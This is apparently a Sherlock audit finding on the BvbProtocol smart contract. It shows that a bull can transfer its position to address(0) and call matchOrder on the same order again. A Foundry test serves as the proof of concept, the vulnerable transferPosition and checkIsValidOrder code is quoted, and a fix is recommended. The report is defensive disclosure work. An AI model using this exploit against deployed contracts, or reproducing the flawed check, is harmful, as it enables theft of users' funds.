dipp

medium

# Can call ```matchOrder``` repeatedly for the same order if attacker is bull

## Summary

A user can call ```matchOrder``` multiple times for the same order by transferring position to 0 address if the user is the order's bull since the bull must be address(0) for ```checkIsValidOrder``` to be passed.

## Vulnerability Detail

The ```transferPosition``` function allows a user to transfer their position to address(0). In the ```matchOrder``` function, the ```checkIsValidOrder``` function is called and checks if the bull of an order is address(0) to determine if the order has been matched. Transferring the position to address(0) allows the order's previous bull to call ```matchOrder``` again for the same order.

The test code below matches an order where the maker of the order is the bull. The bull then transfers their position to address(0) and calls ```matchOrder``` on the same order, setting itself as bull and bear.

Test code added to ```MatchOrder.t.sol```:
```solidity
    function testCallMatchOrderAgain() public {
        BvbProtocol.Order memory order = defaultOrder();

        bytes32 orderHash = bvb.hashOrder(order);
        bytes memory signature = signOrder(bullPrivateKey, order);
        bvb.matchOrder(order, signature);

        assertEq(bvb.bulls(uint(orderHash)), bull, "Bvb correctly saved the bull");
        assertEq(bvb.bears(uint(orderHash)), address(this), "Bvb correctly saved the bear");

        vm.startPrank(bull);
        bvb.transferPosition(orderHash, true, address(0));
        bvb.matchOrder(order, signature);
        vm.stopPrank();

        assertEq(bvb.bulls(uint(orderHash)), bull, "Bvb correctly saved the bull");
        assertEq(bvb.bears(uint(orderHash)), bull, "The bear position now belongs to the bull");

    }
```

## Impact

If the bull of the order is the maker then this vulnerability could be used to replace the order's bear, resulting in a loss of funds for the bear. If the bull is not the maker, calling the ```matchOrder``` function again would force the maker to pay for the order again. The bull would also pay again when calling ```matchOrder```.

## Code Snippet

[BvbProtocol.sol:transferPosition#L521-L538](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L521-L538):
```solidity
    function transferPosition(bytes32 orderHash, bool isBull, address recipient) public {
        // ContractId
        uint contractId = uint(orderHash);

        if (isBull) {
            // Check that the msg.sender is the Bull
            require(msg.sender == bulls[contractId], "SENDER_NOT_BULL");

            bulls[contractId] = recipient;
        } else {
            // Check that the msg.sender is the Bear
            require(msg.sender == bears[contractId], "SENDER_NOT_BEAR");

            bears[contractId] = recipient;
        }

        emit TransferedPosition(orderHash, isBull, recipient);
    }
```

[BvbProtocol.sol:checkIsValidOrder#L734-L761](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L734-L761):
```solidity
    function checkIsValidOrder(Order calldata order, bytes32 orderHash, bytes calldata signature) public view {
        // Check that the signature is valid
        require(isValidSignature(order.maker, orderHash, signature), "INVALID_SIGNATURE");

        // Check that this order is still valid
        require(order.validity > block.timestamp, "EXPIRED_VALIDITY_TIME");

        // Check that this order was not canceled
        require(!canceledOrders[orderHash], "ORDER_CANCELED");

        // Check that the nonce is valid
        require(order.nonce >= minimumValidNonce[order.maker], "INVALID_NONCE");
        
        // Check that this contract will expire in the future
        require(order.expiry > order.validity, "INVALID_EXPIRY_TIME");

        // Check that fees match
        require(order.fee >= fee, "INVALID_FEE");

        // Check that this is an approved ERC20 token
        require(allowedAsset[order.asset], "INVALID_ASSET");

        // Check that this if an approved ERC721 collection
        require(allowedCollection[order.collection], "INVALID_COLLECTION");

        // Check that there is no bull set for this order -> not matched
        require(bulls[uint(orderHash)] == address(0), "ORDER_ALREADY_MATCHED");
    }
```

## Tool used

Manual Review

## Recommendation

When checking if the order is matched in ```checkIsValidOrder```, make sure both bull and bear == address(0).